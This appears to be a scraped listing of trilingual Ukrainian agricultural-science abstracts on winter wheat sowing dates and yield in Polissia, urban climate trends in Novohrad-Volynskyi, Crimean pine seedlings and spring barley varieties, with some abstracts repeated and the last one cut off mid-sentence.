Search

Мета. Визначити й науково обґрунтувати особливості росту і розвитку рослин та формування продуктивності пшениці озимої залежно від строків сівби на дерново-середньопідзолистих супіщаних ґрунтах в умовах Полісся. Методи. Польовий, лабораторний, вимірювально-ваговий, порівняльний,статистичний і дисперсійний. Результати. Наведено особливості формування продуктивності пшениці озимої залежно від строків сівби впродовж 20-ти років. Доведено, що за роки досліджень рослини раннього строку сівби (10 вересня) щодня восени отримували на 11,7°С більше тепла, ніж за пізнього строку сівби (10 жовтня). За сівби 10 вересня після припинення вегетації рослини мали найвищі показники росту і розвитку порівняно із наступними строками сівби. У середньому за роки досліджень маса рослин пшениці озимої за період сівби з 20 вересня по 10 жовтня на момент припинення осінньої вегетації у 2,3–13,9 раза була меншою за масу рослин,висіяних 10 вересня. Установлено, що після припинення вегетації уміст цукрів у рослинах пшениці озимої за сівби 10 вересня становив 14,9%, що в 2,1 раза більше, ніж за сівби 10 жовтня. Найкращі умови формування асиміляційного листкового апарату рослин пшениці у весняно-літній період створювалися за сівби в ІІ–ІІІ декадах вересня. Залежно від строків сівби площа листя рослин пшениці озимої у фазі колосіння становила в пшениці озимої 37,7–43,8 тис. м2/га. За роки проведення досліджень установлено, що запізнення із сівбою на 10–30 днів призводить до зниження урожайності зерна на 8,4–28,7% порівняно із сівбою 10 вересня. Висновки. Максимальну врожайність зерна пшениці озимої (3,56 т/га) в умовах Полісся отримано за сівби 10 вересня. За сівби 10 жовтня урожайність зерна пшениці знижувалася на 1,02 т/га., Goal. To determine and scientifically substantiate the peculiarities of the growth and development of plants and formation of productivity of winter wheat depending on sowing time on soddy averagepodzolic sandy loam soils in the conditions of Polissia. Methods. Field, laboratory, measurements, comparative, statistical and variance. Results. Features of formation of productivity of winter wheat depending on sowing time for 20 years are given. It is proved that through years of research the plants of the early sowing date (September 10) received daily on 11.7°C more heat than that of late sowing (October 10). At sowing on September 10 after the termination of vegetation the plants had the highest rates of growth and development as compared to subsequent sowing dates. On average per year of research, the mass of plants of winter wheat sowed in the period from September 20 to October 10 was in 2.3–13.9 times less at the time of the termination of the autumn growing season than the mass of plants sown on September 10. It is established that after the termination of the growing season the sugar content in the lants of winter wheat at sowing on September 10 was 14.9%,which is 2.1 times more than for sowing on October 10. The best conditions for the formation of the assimilation apparatus of a leaf of wheat plants in the spring-summer period were created in the II–III decades of September. Depending on the time of sowing the leaf area of plants of winter wheat at the heading stage was 37.7–43.8 thousand m2/ha. Over the years of study, they found that delay sowing by 10–30 days leads to a decrease in grain yield by 8.4–28.7% as compared to sowing on September 10. Conclusions. The maximum grain yield of winter wheat (3,56 t/ha) in the conditions of Polissia was received at sowing on September 10. At sowing on October 10 the grain yield of wheat decreased by 1.02 t/ha., Цель. Определить и научно обосновать особенности роста и развития растений и формирования продуктивности озимой пшеницы в зависимости от сроков сева на дерново-среднеподзолистых супесчаных почвах в условиях Полесья. Методы. Полевой, лабораторный, измерительно-весовой, сравнительный, статистический и дисперсионный. Результаты. Приведены особенности формирования продуктивности озимой пшеницы в зависимости от сроков сева в течение 20-ти лет. Доказано, что за годы исследований растения раннего срока сева (10 сентября) ежедневно осенью получали на 11,7°С больше тепла, чем за позднего срока сева (10 октября). При посеве 10 сентября, после прекращения вегетации растения имели самые высокие показатели роста и развития по сравнению с последующими сроками сева. В среднем за годы исследований масса растений озимой пшеницы за период сева с 20 сентября по 10 октября на момент прекращения осенней вегетации в 2,3–13,9 раза была меньше массы растений, высеянных 10 сентября. Установлено, что после прекращения вегетации содержание сахаров в растениях озимой пшеницы при посеве 10 сентября составил 14,9%, что в 2,1 раза больше, чем при посеве 10 октября. Лучшие условия формирования ассимиляционного листового аппарата растений пшеницы в весенне-летний период создавались при посеве во II–III декадах сентября. В зависимости от сроков сева площадь листьев растений озимой пшеницы в фазе колошения составляла в пшенице озимой 37,7–43,8 тыс. м2/га. За годы проведения исследований установлено, что опоздание с посевом на 10–30 дней приводит к снижению урожайности зерна на 8,4–28,7% по сравнению с посевом 10 сентября. Выводы. Максимальную урожайность зерна озимой пшеницы (3,56 т/га) в условиях Полесья получено при посеве 10 сентября. При посеве 10 октября урожайность зерна пшеницы снижалась на 1,02 т/га.

Мета. Визначити й науково обґрунтувати особливості росту і розвитку рослин та формування продуктивності пшениці озимої залежно від строків сівби на дерново-середньопідзолистих супіщаних ґрунтах в умовах Полісся. Методи. Польовий, лабораторний, вимірювально-ваговий, порівняльний,статистичний і дисперсійний. Результати. Наведено особливості формування продуктивності пшениці озимої залежно від строків сівби впродовж 20-ти років. Доведено, що за роки досліджень рослини раннього строку сівби (10 вересня) щодня восени отримували на 11,7°С більше тепла, ніж за пізнього строку сівби (10 жовтня). За сівби 10 вересня після припинення вегетації рослини мали найвищі показники росту і розвитку порівняно із наступними строками сівби. У середньому за роки досліджень маса рослин пшениці озимої за період сівби з 20 вересня по 10 жовтня на момент припинення осінньої вегетації у 2,3–13,9 раза була меншою за масу рослин,висіяних 10 вересня. Установлено, що після припинення вегетації уміст цукрів у рослинах пшениці озимої за сівби 10 вересня становив 14,9%, що в 2,1 раза більше, ніж за сівби 10 жовтня. Найкращі умови формування асиміляційного листкового апарату рослин пшениці у весняно-літній період створювалися за сівби в ІІ–ІІІ декадах вересня. Залежно від строків сівби площа листя рослин пшениці озимої у фазі колосіння становила в пшениці озимої 37,7–43,8 тис. м2/га. За роки проведення досліджень установлено, що запізнення із сівбою на 10–30 днів призводить до зниження урожайності зерна на 8,4–28,7% порівняно із сівбою 10 вересня. Висновки. Максимальну врожайність зерна пшениці озимої (3,56 т/га) в умовах Полісся отримано за сівби 10 вересня. За сівби 10 жовтня урожайність зерна пшениці знижувалася на 1,02 т/га., Goal. To determine and scientifically substantiate the peculiarities of the growth and development of plants and formation of productivity of winter wheat depending on sowing time on soddy averagepodzolic sandy loam soils in the conditions of Polissia. Methods. Field, laboratory, measurements, comparative, statistical and variance. Results. Features of formation of productivity of winter wheat depending on sowing time for 20 years are given. It is proved that through years of research the plants of the early sowing date (September 10) received daily on 11.7°C more heat than that of late sowing (October 10). At sowing on September 10 after the termination of vegetation the plants had the highest rates of growth and development as compared to subsequent sowing dates. On average per year of research, the mass of plants of winter wheat sowed in the period from September 20 to October 10 was in 2.3–13.9 times less at the time of the termination of the autumn growing season than the mass of plants sown on September 10. It is established that after the termination of the growing season the sugar content in the lants of winter wheat at sowing on September 10 was 14.9%,which is 2.1 times more than for sowing on October 10. The best conditions for the formation of the assimilation apparatus of a leaf of wheat plants in the spring-summer period were created in the II–III decades of September. Depending on the time of sowing the leaf area of plants of winter wheat at the heading stage was 37.7–43.8 thousand m2/ha. Over the years of study, they found that delay sowing by 10–30 days leads to a decrease in grain yield by 8.4–28.7% as compared to sowing on September 10. Conclusions. The maximum grain yield of winter wheat (3,56 t/ha) in the conditions of Polissia was received at sowing on September 10. At sowing on October 10 the grain yield of wheat decreased by 1.02 t/ha., Цель. Определить и научно обосновать особенности роста и развития растений и формирования продуктивности озимой пшеницы в зависимости от сроков сева на дерново-среднеподзолистых супесчаных почвах в условиях Полесья. Методы. Полевой, лабораторный, измерительно-весовой, сравнительный, статистический и дисперсионный. Результаты. Приведены особенности формирования продуктивности озимой пшеницы в зависимости от сроков сева в течение 20-ти лет. Доказано, что за годы исследований растения раннего срока сева (10 сентября) ежедневно осенью получали на 11,7°С больше тепла, чем за позднего срока сева (10 октября). При посеве 10 сентября, после прекращения вегетации растения имели самые высокие показатели роста и развития по сравнению с последующими сроками сева. В среднем за годы исследований масса растений озимой пшеницы за период сева с 20 сентября по 10 октября на момент прекращения осенней вегетации в 2,3–13,9 раза была меньше массы растений, высеянных 10 сентября. Установлено, что после прекращения вегетации содержание сахаров в растениях озимой пшеницы при посеве 10 сентября составил 14,9%, что в 2,1 раза больше, чем при посеве 10 октября. Лучшие условия формирования ассимиляционного листового аппарата растений пшеницы в весенне-летний период создавались при посеве во II–III декадах сентября. В зависимости от сроков сева площадь листьев растений озимой пшеницы в фазе колошения составляла в пшенице озимой 37,7–43,8 тыс. м2/га. За годы проведения исследований установлено, что опоздание с посевом на 10–30 дней приводит к снижению урожайности зерна на 8,4–28,7% по сравнению с посевом 10 сентября. Выводы. Максимальную урожайность зерна озимой пшеницы (3,56 т/га) в условиях Полесья получено при посеве 10 сентября. При посеве 10 октября урожайность зерна пшеницы снижалась на 1,02 т/га.

Мета. Визначити й науково обґрунтувати особливості росту і розвитку рослин та формування продуктивності пшениці озимої залежно від строків сівби на дерново-середньопідзолистих супіщаних ґрунтах в умовах Полісся. Методи. Польовий, лабораторний, вимірювально-ваговий, порівняльний,статистичний і дисперсійний. Результати. Наведено особливості формування продуктивності пшениці озимої залежно від строків сівби впродовж 20-ти років. Доведено, що за роки досліджень рослини раннього строку сівби (10 вересня) щодня восени отримували на 11,7°С більше тепла, ніж за пізнього строку сівби (10 жовтня). За сівби 10 вересня після припинення вегетації рослини мали найвищі показники росту і розвитку порівняно із наступними строками сівби. У середньому за роки досліджень маса рослин пшениці озимої за період сівби з 20 вересня по 10 жовтня на момент припинення осінньої вегетації у 2,3–13,9 раза була меншою за масу рослин,висіяних 10 вересня. Установлено, що після припинення вегетації уміст цукрів у рослинах пшениці озимої за сівби 10 вересня становив 14,9%, що в 2,1 раза більше, ніж за сівби 10 жовтня. Найкращі умови формування асиміляційного листкового апарату рослин пшениці у весняно-літній період створювалися за сівби в ІІ–ІІІ декадах вересня. Залежно від строків сівби площа листя рослин пшениці озимої у фазі колосіння становила в пшениці озимої 37,7–43,8 тис. м2/га. За роки проведення досліджень установлено, що запізнення із сівбою на 10–30 днів призводить до зниження урожайності зерна на 8,4–28,7% порівняно із сівбою 10 вересня. Висновки. Максимальну врожайність зерна пшениці озимої (3,56 т/га) в умовах Полісся отримано за сівби 10 вересня. За сівби 10 жовтня урожайність зерна пшениці знижувалася на 1,02 т/га., Goal. To determine and scientifically substantiate the peculiarities of the growth and development of plants and formation of productivity of winter wheat depending on sowing time on soddy averagepodzolic sandy loam soils in the conditions of Polissia. Methods. Field, laboratory, measurements, comparative, statistical and variance. Results. Features of formation of productivity of winter wheat depending on sowing time for 20 years are given. It is proved that through years of research the plants of the early sowing date (September 10) received daily on 11.7°C more heat than that of late sowing (October 10). At sowing on September 10 after the termination of vegetation the plants had the highest rates of growth and development as compared to subsequent sowing dates. On average per year of research, the mass of plants of winter wheat sowed in the period from September 20 to October 10 was in 2.3–13.9 times less at the time of the termination of the autumn growing season than the mass of plants sown on September 10. It is established that after the termination of the growing season the sugar content in the lants of winter wheat at sowing on September 10 was 14.9%,which is 2.1 times more than for sowing on October 10. The best conditions for the formation of the assimilation apparatus of a leaf of wheat plants in the spring-summer period were created in the II–III decades of September. Depending on the time of sowing the leaf area of plants of winter wheat at the heading stage was 37.7–43.8 thousand m2/ha. Over the years of study, they found that delay sowing by 10–30 days leads to a decrease in grain yield by 8.4–28.7% as compared to sowing on September 10. Conclusions. The maximum grain yield of winter wheat (3,56 t/ha) in the conditions of Polissia was received at sowing on September 10. At sowing on October 10 the grain yield of wheat decreased by 1.02 t/ha., Цель. Определить и научно обосновать особенности роста и развития растений и формирования продуктивности озимой пшеницы в зависимости от сроков сева на дерново-среднеподзолистых супесчаных почвах в условиях Полесья. Методы. Полевой, лабораторный, измерительно-весовой, сравнительный, статистический и дисперсионный. Результаты. Приведены особенности формирования продуктивности озимой пшеницы в зависимости от сроков сева в течение 20-ти лет. Доказано, что за годы исследований растения раннего срока сева (10 сентября) ежедневно осенью получали на 11,7°С больше тепла, чем за позднего срока сева (10 октября). При посеве 10 сентября, после прекращения вегетации растения имели самые высокие показатели роста и развития по сравнению с последующими сроками сева. В среднем за годы исследований масса растений озимой пшеницы за период сева с 20 сентября по 10 октября на момент прекращения осенней вегетации в 2,3–13,9 раза была меньше массы растений, высеянных 10 сентября. Установлено, что после прекращения вегетации содержание сахаров в растениях озимой пшеницы при посеве 10 сентября составил 14,9%, что в 2,1 раза больше, чем при посеве 10 октября. Лучшие условия формирования ассимиляционного листового аппарата растений пшеницы в весенне-летний период создавались при посеве во II–III декадах сентября. В зависимости от сроков сева площадь листьев растений озимой пшеницы в фазе колошения составляла в пшенице озимой 37,7–43,8 тыс. м2/га. За годы проведения исследований установлено, что опоздание с посевом на 10–30 дней приводит к снижению урожайности зерна на 8,4–28,7% по сравнению с посевом 10 сентября. Выводы. Максимальную урожайность зерна озимой пшеницы (3,56 т/га) в условиях Полесья получено при посеве 10 сентября. При посеве 10 октября урожайность зерна пшеницы снижалась на 1,02 т/га.

Мета. Визначити й науково обґрунтувати особливості росту і розвитку рослин та формування продуктивності пшениці озимої залежно від строків сівби на дерново-середньопідзолистих супіщаних ґрунтах в умовах Полісся. Методи. Польовий, лабораторний, вимірювально-ваговий, порівняльний,статистичний і дисперсійний. Результати. Наведено особливості формування продуктивності пшениці озимої залежно від строків сівби впродовж 20-ти років. Доведено, що за роки досліджень рослини раннього строку сівби (10 вересня) щодня восени отримували на 11,7°С більше тепла, ніж за пізнього строку сівби (10 жовтня). За сівби 10 вересня після припинення вегетації рослини мали найвищі показники росту і розвитку порівняно із наступними строками сівби. У середньому за роки досліджень маса рослин пшениці озимої за період сівби з 20 вересня по 10 жовтня на момент припинення осінньої вегетації у 2,3–13,9 раза була меншою за масу рослин,висіяних 10 вересня. Установлено, що після припинення вегетації уміст цукрів у рослинах пшениці озимої за сівби 10 вересня становив 14,9%, що в 2,1 раза більше, ніж за сівби 10 жовтня. Найкращі умови формування асиміляційного листкового апарату рослин пшениці у весняно-літній період створювалися за сівби в ІІ–ІІІ декадах вересня. Залежно від строків сівби площа листя рослин пшениці озимої у фазі колосіння становила в пшениці озимої 37,7–43,8 тис. м2/га. За роки проведення досліджень установлено, що запізнення із сівбою на 10–30 днів призводить до зниження урожайності зерна на 8,4–28,7% порівняно із сівбою 10 вересня. Висновки. Максимальну врожайність зерна пшениці озимої (3,56 т/га) в умовах Полісся отримано за сівби 10 вересня. За сівби 10 жовтня урожайність зерна пшениці знижувалася на 1,02 т/га., Goal. To determine and scientifically substantiate the peculiarities of the growth and development of plants and formation of productivity of winter wheat depending on sowing time on soddy averagepodzolic sandy loam soils in the conditions of Polissia. Methods. Field, laboratory, measurements, comparative, statistical and variance. Results. Features of formation of productivity of winter wheat depending on sowing time for 20 years are given. It is proved that through years of research the plants of the early sowing date (September 10) received daily on 11.7°C more heat than that of late sowing (October 10). At sowing on September 10 after the termination of vegetation the plants had the highest rates of growth and development as compared to subsequent sowing dates. On average per year of research, the mass of plants of winter wheat sowed in the period from September 20 to October 10 was in 2.3–13.9 times less at the time of the termination of the autumn growing season than the mass of plants sown on September 10. It is established that after the termination of the growing season the sugar content in the lants of winter wheat at sowing on September 10 was 14.9%,which is 2.1 times more than for sowing on October 10. The best conditions for the formation of the assimilation apparatus of a leaf of wheat plants in the spring-summer period were created in the II–III decades of September. Depending on the time of sowing the leaf area of plants of winter wheat at the heading stage was 37.7–43.8 thousand m2/ha. Over the years of study, they found that delay sowing by 10–30 days leads to a decrease in grain yield by 8.4–28.7% as compared to sowing on September 10. Conclusions. The maximum grain yield of winter wheat (3,56 t/ha) in the conditions of Polissia was received at sowing on September 10. At sowing on October 10 the grain yield of wheat decreased by 1.02 t/ha., Цель. Определить и научно обосновать особенности роста и развития растений и формирования продуктивности озимой пшеницы в зависимости от сроков сева на дерново-среднеподзолистых супесчаных почвах в условиях Полесья. Методы. Полевой, лабораторный, измерительно-весовой, сравнительный, статистический и дисперсионный. Результаты. Приведены особенности формирования продуктивности озимой пшеницы в зависимости от сроков сева в течение 20-ти лет. Доказано, что за годы исследований растения раннего срока сева (10 сентября) ежедневно осенью получали на 11,7°С больше тепла, чем за позднего срока сева (10 октября). При посеве 10 сентября, после прекращения вегетации растения имели самые высокие показатели роста и развития по сравнению с последующими сроками сева. В среднем за годы исследований масса растений озимой пшеницы за период сева с 20 сентября по 10 октября на момент прекращения осенней вегетации в 2,3–13,9 раза была меньше массы растений, высеянных 10 сентября. Установлено, что после прекращения вегетации содержание сахаров в растениях озимой пшеницы при посеве 10 сентября составил 14,9%, что в 2,1 раза больше, чем при посеве 10 октября. Лучшие условия формирования ассимиляционного листового аппарата растений пшеницы в весенне-летний период создавались при посеве во II–III декадах сентября. В зависимости от сроков сева площадь листьев растений озимой пшеницы в фазе колошения составляла в пшенице озимой 37,7–43,8 тыс. м2/га. За годы проведения исследований установлено, что опоздание с посевом на 10–30 дней приводит к снижению урожайности зерна на 8,4–28,7% по сравнению с посевом 10 сентября. Выводы. Максимальную урожайность зерна озимой пшеницы (3,56 т/га) в условиях Полесья получено при посеве 10 сентября. При посеве 10 октября урожайность зерна пшеницы снижалась на 1,02 т/га.

Мета. Визначити й науково обґрунтувати особливості росту і розвитку рослин та формування продуктивності пшениці озимої залежно від строків сівби на дерново-середньопідзолистих супіщаних ґрунтах в умовах Полісся. Методи. Польовий, лабораторний, вимірювально-ваговий, порівняльний,статистичний і дисперсійний. Результати. Наведено особливості формування продуктивності пшениці озимої залежно від строків сівби впродовж 20-ти років. Доведено, що за роки досліджень рослини раннього строку сівби (10 вересня) щодня восени отримували на 11,7°С більше тепла, ніж за пізнього строку сівби (10 жовтня). За сівби 10 вересня після припинення вегетації рослини мали найвищі показники росту і розвитку порівняно із наступними строками сівби. У середньому за роки досліджень маса рослин пшениці озимої за період сівби з 20 вересня по 10 жовтня на момент припинення осінньої вегетації у 2,3–13,9 раза була меншою за масу рослин,висіяних 10 вересня. Установлено, що після припинення вегетації уміст цукрів у рослинах пшениці озимої за сівби 10 вересня становив 14,9%, що в 2,1 раза більше, ніж за сівби 10 жовтня. Найкращі умови формування асиміляційного листкового апарату рослин пшениці у весняно-літній період створювалися за сівби в ІІ–ІІІ декадах вересня. Залежно від строків сівби площа листя рослин пшениці озимої у фазі колосіння становила в пшениці озимої 37,7–43,8 тис. м2/га. За роки проведення досліджень установлено, що запізнення із сівбою на 10–30 днів призводить до зниження урожайності зерна на 8,4–28,7% порівняно із сівбою 10 вересня. Висновки. Максимальну врожайність зерна пшениці озимої (3,56 т/га) в умовах Полісся отримано за сівби 10 вересня. За сівби 10 жовтня урожайність зерна пшениці знижувалася на 1,02 т/га., Goal. To determine and scientifically substantiate the peculiarities of the growth and development of plants and formation of productivity of winter wheat depending on sowing time on soddy averagepodzolic sandy loam soils in the conditions of Polissia. Methods. Field, laboratory, measurements, comparative, statistical and variance. Results. Features of formation of productivity of winter wheat depending on sowing time for 20 years are given. It is proved that through years of research the plants of the early sowing date (September 10) received daily on 11.7°C more heat than that of late sowing (October 10). At sowing on September 10 after the termination of vegetation the plants had the highest rates of growth and development as compared to subsequent sowing dates. On average per year of research, the mass of plants of winter wheat sowed in the period from September 20 to October 10 was in 2.3–13.9 times less at the time of the termination of the autumn growing season than the mass of plants sown on September 10. It is established that after the termination of the growing season the sugar content in the lants of winter wheat at sowing on September 10 was 14.9%,which is 2.1 times more than for sowing on October 10. The best conditions for the formation of the assimilation apparatus of a leaf of wheat plants in the spring-summer period were created in the II–III decades of September. Depending on the time of sowing the leaf area of plants of winter wheat at the heading stage was 37.7–43.8 thousand m2/ha. Over the years of study, they found that delay sowing by 10–30 days leads to a decrease in grain yield by 8.4–28.7% as compared to sowing on September 10. Conclusions. The maximum grain yield of winter wheat (3,56 t/ha) in the conditions of Polissia was received at sowing on September 10. At sowing on October 10 the grain yield of wheat decreased by 1.02 t/ha., Цель. Определить и научно обосновать особенности роста и развития растений и формирования продуктивности озимой пшеницы в зависимости от сроков сева на дерново-среднеподзолистых супесчаных почвах в условиях Полесья. Методы. Полевой, лабораторный, измерительно-весовой, сравнительный, статистический и дисперсионный. Результаты. Приведены особенности формирования продуктивности озимой пшеницы в зависимости от сроков сева в течение 20-ти лет. Доказано, что за годы исследований растения раннего срока сева (10 сентября) ежедневно осенью получали на 11,7°С больше тепла, чем за позднего срока сева (10 октября). При посеве 10 сентября, после прекращения вегетации растения имели самые высокие показатели роста и развития по сравнению с последующими сроками сева. В среднем за годы исследований масса растений озимой пшеницы за период сева с 20 сентября по 10 октября на момент прекращения осенней вегетации в 2,3–13,9 раза была меньше массы растений, высеянных 10 сентября. Установлено, что после прекращения вегетации содержание сахаров в растениях озимой пшеницы при посеве 10 сентября составил 14,9%, что в 2,1 раза больше, чем при посеве 10 октября. Лучшие условия формирования ассимиляционного листового аппарата растений пшеницы в весенне-летний период создавались при посеве во II–III декадах сентября. В зависимости от сроков сева площадь листьев растений озимой пшеницы в фазе колошения составляла в пшенице озимой 37,7–43,8 тыс. м2/га. За годы проведения исследований установлено, что опоздание с посевом на 10–30 дней приводит к снижению урожайности зерна на 8,4–28,7% по сравнению с посевом 10 сентября. Выводы. Максимальную урожайность зерна озимой пшеницы (3,56 т/га) в условиях Полесья получено при посеве 10 сентября. При посеве 10 октября урожайность зерна пшеницы снижалась на 1,02 т/га.

Протягом 2000–2017 рр. на території міста Новоград-Волинський спостерігається збільшення температури повітря, перерозподіл сум опадів протягом року та зменшення снігового покриву. Встановлено, що за досліджуваний період підвищення середньорічної температури повітря відносно норми склало 1,5 ºС, середньомісячної – від 0,4 (жовтень) до 2,3 ºC (липень). Потепління клімату на території міста Новоград-Волинський характеризується нерівномірністю – періоди стрімкого збільшення температури змінюються похолоданням. Відхилення середньомісячних температур від кліматичної норми мало місце у всі досліджувані роки, за виключенням березня 2003 р., червня 2006 та 2014 рр., листопада 2011 р. Найхолоднішим місяцем за період спостережень виявився січень 2006 року (-28,8 ºС), найтеплішим – вересень 2015 року (35,8 ºС). Незважаючи на існуючу тенденцію до збільшення кількості опадів на території міста, в загальному їх середньорічна сума є меншою відносно норми на 32,4 мм. Найбільша кількість опадів характерна для періоду з травня по жовтень, а найменша – з листопада по квітень. У січні, квітні, червні, серпні, вересні, листопаді та грудні спостерігається зменшення кількості опадів відносно норми на 0,7–15 мм, а протягом інших 5 місяців (лютий, березень, травень, липень, жовтень) кількість опадів перевищує норму в середньому на 0,6–6,4 мм. Найменша кількість опадів – 3,7 мм – була відмічена у листопаді 2011 р. та серпні 2015 р., а максимальна – 199,2 мм – у липні 2007 р. Спостерігається зниження кількості твердих опадів на території міста. В розрізі окремих місяців найбільш сніговим є лютий (висота снігового покриву 10,1 см), найменш сніговим – грудень з висотою снігового покриву 4,9 см. Коефіцієнт суттєвості відхилень підтвердив тенденцію до збільшення місяців з умовами, що істотно відрізняються від багаторічних: за температурою повітря від 27,8 до 44,4 %, за кількістю опадів – від 5,6 до 44,4 %, та з умовами, наближеними до екстремальних – 5,6 %., Increase in air temperature, redistribution of annual precipitation and decline in snow cover were being observed on the territory of Novohrad-Volynskyi during the years 2000–2017. The average annual air temperature increase amounted 1,5 0С in comparison with the norm and the average monthly temperature increase amounted from 0,4 (in October) to 2,3 ºC (in July). Climate warming on the territory of the city is nonuniform – the periods of rapid temperature increase are being changed by fall in temperature. Deviation of average monthly temperatures from a climatic norm occurred overall years under investigation, except in March 2003, June 2006 and 2014, November 2011. The coldest in monitoring period, turned to be January 2006 (-28,8 d. C), the warmest – September 2015 (35,8 d. C). Despite the existing tendency toward precipitation increase on the territory of the city, total annual precipitation is 32,4 mm less than norm. The highest precipitation level is typical for the period from May to October and the lowest from November to April. In January, April, June, August, September, November the reduced amount of precipitations (as to the norm of 0,7–15 mm) has been observed, and during the rest 5 months (February, March, May, July, October) the amount of precipitations increased by 0,6–6,4 mm. The minimum precipitation amount was observed in November 2011 and in August 2015 (3,7 mm), the maximum – in July 2017 (199,2 mm). The solid precipitation decrease can be observed on the territory of the city. In a view of particular months the most snowy is February (the depth of snow cover is 10,1 sm), the least snowy is December with the depth of snow cover of 4,9 sm. Сoefficient of deviation essentiality confirmed a tendency to increase the percentage of months with conditions that are different from perennials: for temperatures from 27,8 to 44,4 % and for rainfall from 5,6 to 44,4 %, and conditionі close to extreme – 5,6 %., На протяжении 2000–2017 гг. на территории города Новоград-Волынский наблюдается увеличение температуры воздуха, перераспределение сумм осадков в течение года и уменьшение снежного покрова. Установлено, что за исследуемый период повышение среднегодовой температуры воздуха относительно нормы составило 1,5 ºС, среднемесячной – от 0,4 (октябрь) до 2,3 ºC (июль). Потепление климата на территории города характеризуется неравномерностью – периоды стремительного увеличения температуры меняются похолоданием. Отклонения среднемесячных температур от климатической нормы имело место во все исследуемые года, за исключением марта 2003 г., июня 2006 и 2014 гг., ноября 2011 г. Наиболее холодным месяцем за период наблюдений оказался январи 2006 года (-28,8 ºС), наиболее теплым – сентябрь 2015 года (35,8 ºС). Несмотря на существующую тенденцию к увеличению количества осадков на территории города, в общем их среднегодовая сумма является меньшей относительно нормы на 32,4 мм. Наибольшее количество осадков характерно для периода с мая по октябрь, а наименьшее – с ноября по апрель. В январе, апреле, юне, августе, сентябре, ноябре и декабре наблюдается уменьшение количества осадков относительно нормы на 0,7–15 мм, а на протяжении других 5 месяцев (февраль, март, май, июль, октябрь) количество осадков превышает норму в среднем 0,6–6,4 мм. Наименьшее количество осадков – 3,7 мм – было отмечено в ноябре 2011 г. и в августе 2015 г., а максимальная – 199,2 мм – в июле 2007 г. Наблюдается снижение количества твердых осадков на территории города. В разрезе отдельных месяцев наиболее снежным является февраль (высота снежного покрова 10,1 см), наименее снежным – декабрь, с высотой снежного покрова 4,9 см. Коэффициент существенности отклонений подтвердил тенденцию к увеличению месяцев с условиями, значительно отличающимися от многолетних: по температуре воздуха от 27,8 до 44,4 %, по количеству осадков – от 5,6 до 44,4 %, и с условиями, приближеннями к экстремальным – 5,6 %.

У роботі наведені результати дослідження морфологічної мінливості сходів Pinus pallasianu D. Don. у зв'язку з умовами місцезростання. Приведена характеристика частоти зустрічальності сходів різних сім'ядольних груп на південному макросхилі Головного пасма Кримських гір., The paper deals with the results of investigations into morphological variability of Pinus pallasiana D. Don. seedlings in connection with the dynamics of growth conditions. It also presents data on the frequency of occurrence of seedlings of various groups on the southern macroslope of the Crimean mountains main ridge., В работе приведены результаты изучения морфологической изменчивости всходов Pinus pallasiana D. Don. в связи с динамикой условий произрастания. Дана характеристика частоты встречаемости всходов различных семядольных групп на южном макросклоне Главной гряды Крымских гор.

Показано, що агроекологічні умови в яких створюються сорти суттєво впливають в подальшому вирощуванні їх в конкретній еколого-географічній зоні. Встановлено, що для сортів ячменю ярого Науково-методичного центру «Селекційно-генетичний інститут» в перехідній зоні Полісся, сприятливішими були умови які характеризувались порівняно підвищеною температурою повітря та зменшеною кількістю опадів. Для сортів рослин створених в селекційному центрі Миронівського інституту пшениці ім. В.М. Ремесла (МІП) та Інституті рослинництва ім. В.Я. Юр'єва (ІР) сприятливими були умови які включали незначне зниження температури повітря та достатню кількість опадів у період вегетації. Виявлено, що сорти Краснодарського науково-дослідного інституту сільського господарства ім. П.П. Лук'яненка (КНДІСР) в перший рік вирощування в цих умовах забезпечили порівняно більшу висоту рослин ніж в наступних роках, тоді як продуктивність була практично однаковою., Показано, что агроэкологические условия в которых создаются сорта существенно влияют в дальнейшем выращивании их в конкретной эколого-географической зоне. Установлено, что для сортов ячменя ярового Научно-методического центра «Селекционно-генетический институт» в переходной зоне Полесья, благоприятными были условия, которые характеризовались сравнительно повышенной температурой воздуха и уменьшенным количеством осадков. Для сортов растений созданных в селекционном центре Мироновского института пшеницы им. В.М. Ремесла (МИП) и Институте растениеводства им. В.Я. Юрьева (ИР) благоприятными были условия, которые включали незначительное снижение температуры воздуха и достаточное количество осадков в период вегетации. Выявлено, что сорта Краснодарского научно-исследовательского института сельского хозяйства им. П.П. Лукьяненко (КНДІСР) в первый год выращивания в этих условиях обеспечили сравнительно большую высоту растений чем в последующие годы, тогда как производительность была практически одинаковой., It is shown that agroecological conditions, in which the spring barley varieties are created, significantly affect subsequently growing them in a particular ecological and geographical area. We found that conditions that were characterized by relatively high air temperature and reduced precipitation were more favorable for spring barley varieties of Scientific and Methodological Center «Selection and Genetics Institute» in the transition zone of Polissia. Conditions which included a slight decrease in air temperature and sufficient precipitation during the growing season were favorable for plant varieties created in Myroniv Institute of Wheat nd. a. V.M. Remeslo and the Рlant Production Institute nd. a. V.Ya. Yuryev. We have found that arieties of Krasnodar Scientific Research Institute of Agriculture nd. a. P.P. Lukyanenko in the first year of cultivation under these conditions have provided relatively greater plant height than in subsequent years while the productivity was almost identical.

Показано, що агроекологічні умови в яких створюються сорти суттєво впливають в подальшому вирощуванні їх в конкретній еколого-географічній зоні. Встановлено, що для сортів ячменю ярого Науково-методичного центру «Селекційно-генетичний інститут» в перехідній зоні Полісся, сприятливішими були умови які характеризувались порівняно підвищеною температурою повітря та зменшеною кількістю опадів. Для сортів рослин створених в селекційному центрі Миронівського інституту пшениці ім. В.М. Ремесла (МІП) та Інституті рослинництва ім. В.Я. Юр'єва (ІР) сприятливими були умови які включали незначне зниження температури повітря та достатню кількість опадів у період вегетації. Виявлено, що сорти Краснодарського науково-дослідного інституту сільського господарства ім. П.П. Лук'яненка (КНДІСР) в перший рік вирощування в цих умовах забезпечили порівняно більшу висоту рослин ніж в наступних роках, тоді як продуктивність була практично однаковою., Показано, что агроэкологические условия в которых создаются сорта существенно влияют в дальнейшем выращивании их в конкретной эколого-географической зоне. Установлено, что для сортов ячменя ярового Научно-методического центра «Селекционно-генетический институт» в переходной зоне Полесья, благоприятными были условия, которые характеризовались сравнительно повышенной температурой воздуха и уменьшенным количеством осадков. Для сортов растений созданных в селекционном центре Мироновского института пшеницы им. В.М. Ремесла (МИП) и Институте растениеводства им. В.Я. Юрьева (ИР) благоприятными были условия, которые включали незначительное снижение температуры воздуха и достаточное количество осадков в период вегетации. Выявлено, что сорта Краснодарского научно-исследовательского института сельского хозяйства им. П.П. Лукьяненко (КНДІСР) в первый год выращивания в этих условиях обеспечили сравнительно большую высоту растений чем в последующие годы, тогда как производительность была практически одинаковой., It is shown that agroecological conditions, in which the spring barley 